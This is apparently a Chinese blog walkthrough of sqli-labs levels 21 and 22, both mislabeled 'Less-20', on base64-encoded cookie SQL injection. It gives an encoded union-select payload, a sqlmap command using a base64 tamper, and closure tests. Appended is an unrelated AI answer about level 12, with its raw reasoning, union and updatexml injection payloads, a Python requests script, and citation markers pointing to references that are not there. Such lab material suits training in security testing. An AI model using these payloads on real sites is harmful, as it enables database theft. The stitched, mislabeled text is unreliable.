sqli-labs第二十一二十二关

文章介绍了如何处理加密的Cookie注入问题,包括手动和自动化的解决方法。在Less-20关中,通过识别加密顺序(base64然后URL编码),尝试注入单引号并构造payload来绕过加密。对于自动化注入,使用sqlmap工具,调整参数以应对加密的Cookie值,进行数据库查询。

这两关还是cookie注入,但是cookie加密了。

Less-20(POST - Cookie Injection - base64 encoded quotes and parenthesis)

手工注入

和20关前面一样需要登入。

基础判断

很明显这里cookie加密了。我建议直接抓下包看看就可以。

我建议先直接吧加密信息直接放到burp的decoder模块直接跑一下看看。

这里我们发现他加密的顺序,先base64加密再进行url部分加密。接下来我们来解决一下闭合方式。

可以直接试试单引号(记得加密)

好因为cookie带单引号报错了,嘿嘿这就是单引号和括号闭合了。根据之前的知识构造一下payload。

查询数据库

JykgdW5pb24gc2VsZWN0IDEsZ3JvdXBfY29uY2F0KHNjaGVtYV9uYW1lKSwzIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnNjaGVtYXRhICM%3d

接下来需要基础的注入知识就可以了。

sqli-labs第一二关_himobrinehacken的博客-优快云博客

自动化脚本注入

这里我就简单说下不一样的地方

sqlmap.py -u http://192.168.221.131/sqli/Less-21/ --cookie="uname = YWRtaW4="*  --threads=10 --batch --tamper=base64encode --level=5 --dbs

注意这里由于我们没有经过游览器解码,游览器传输数据是要url加密的,所以这里只需要解决网站加密问题就可以。(比较慢我就没有放下图片了)

这里有sqlmap的参数

https://www.processon.com/view/link/63edc0ce260d710715545868

Less-20(POST - Cookie Injection - base64 encoded quotes and parenthesis)

手工注入

和上一关一样,只是闭合方式改变了。

Iik%3d

自动化脚本注入

和上一关一样哦。

<think>嗯,用户现在在问SQLi-Labs第十二的解法或提示。首先,我需要回忆一下第十二的特点。根据之前的经验,SQLi-Labs的每个卡通常涉及不同类型的SQL注入,比如GET或POST请求,不同的参数处理方式,或者特定的过滤和防护措施。用户之前可能已经完成了前面的卡,所以第十二可能比之前的更难,或者引入了新的挑战。 根据用户提供的引用内容,之前的卡如第四、第七涉及到联合查询注入和文件导出操作,比如使用`union select`结合`group_concat`获取表名,或者`into outfile`导出数据。第七还提到了文件操作的函数需要配置`secure_file_priv`。这些引用可能提示第十二可能涉及类似的注入技术,但可能有不同的参数处理方式,比如POST请求或不同的注入点类型。 首先,我需要确认第十二的具体设置。通常,第十二可能是一个POST类型的注入,比如基于报错的注入或者盲注。例如,可能是一个登录表单,用户需要利用注入绕过认证或提取数据。根据用户提供的引用,第七使用了文件导出,而第四是联合查询,但第十二可能有所不同。 然后,用户提供的引用中有于爆库名、表名的技术,如使用`extractvalue`函数进行报错注入,这可能在第十二中适用。比如,如果注入点存在报错回显,可以利用报错注入来获取信息。此外,联合查询注入需要确定列数,可能需要通过`order by`来测试。 另外,引用中提到了`into outfile`的使用,但第十二可能涉及到字符转义或闭合问题。例如,输入参数可能被包裹在特定的符号中,如双引号和括号,导致需要正确闭合才能执行注入。例如,如果参数处理是`"$id"`,那么注入时需要闭合双引号,并处理可能的括号。 接下来,考虑用户可能需要具体的步骤。比如,确定注入点类型(字符型还是数字型)、测试闭合方式、使用联合查询或报错注入。例如,如果输入被包裹在双引号和括号中,如`("$id")`,那么注入可能需要类似`")`来闭合,然后添加恶意代码。 同时,用户可能遇到的障碍包括如何正确闭合引号和括号,如何绕过过滤,或者如何确定可用的列数。例如,使用`") order by 3--+`来测试列数,然后进行联合查询,或者使用报错函数如`updatexml`或`extractvalue`来提取数据。 另外,需要注意是否有过滤函数,比如对`union select`或空格的处理,可能需要使用注释符或内联注释绕过。例如,使用`/**/`代替空格,或者使用`%a0`作为空格的替代。 根据引用[3]中的例子,报错注入使用了`extractvalue`函数,这可能适用于第十二。例如,构造如`" or extractvalue(1, concat(0x7e, (select database()))) --+`这样的注入语句,触发数据库错误并返回信息。 最后,用户可能需要导出文件,但需要确认`secure_file_priv`的设置是否允许写入,如引用[4]所述。但在第十二中,可能不需要文件导出,而是侧重于通过注入获取数据。 总结可能的步骤:1. 确定注入点类型和闭合方式;2. 测试列数;3. 使用联合查询或报错注入获取信息;4. 提取数据库名、表名、列名和数据。</think>根据SQLi-Labs第十二的POST型注入特点和常见解法,以下是分步解析: ### 第十二解题思路 #### 1. 确定注入类型 本为**POST请求**,参数使用双引号+括号包裹:`("$id")`。测试闭合方式时需使用`")`闭合原始语句[^4]。 #### 2. 构造闭合语句 尝试在用户名或密码输入框中注入: ```sql admin") or 1=1 --+ ``` 若成功绕过登录,说明闭合正确。 #### 3. 联合查询注入 **(1) 确定列数** ```sql admin") order by 3 --+ ``` 当`order by 4`报错时,说明共3列。 **(2) 获取回显位** ```sql admin") union select 1,2,3 --+ ``` 观察页面显示数字2和3的位置用于回显。 **(3) 提取数据库信息** ```sql admin") union select 1,database(),version() --+ ``` 回显当前数据库名和版本[^1]。 #### 4. 报错注入(备用方案) 若联合查询被过滤,使用`updatexml()`: ```sql admin") and updatexml(1,concat(0x7e,(select user())),1) --+ ``` 通过报错信息获取当前用户[^3]。 ```python # 示例请求代码(Python requests) import requests url = "http://localhost/sqli-labs/Less-12/" data = {"uname": 'admin") union select 1,@@version,3 --+', "passwd": "test"} response = requests.post(url, data=data) print(response.text) ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

himobrinehacken

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值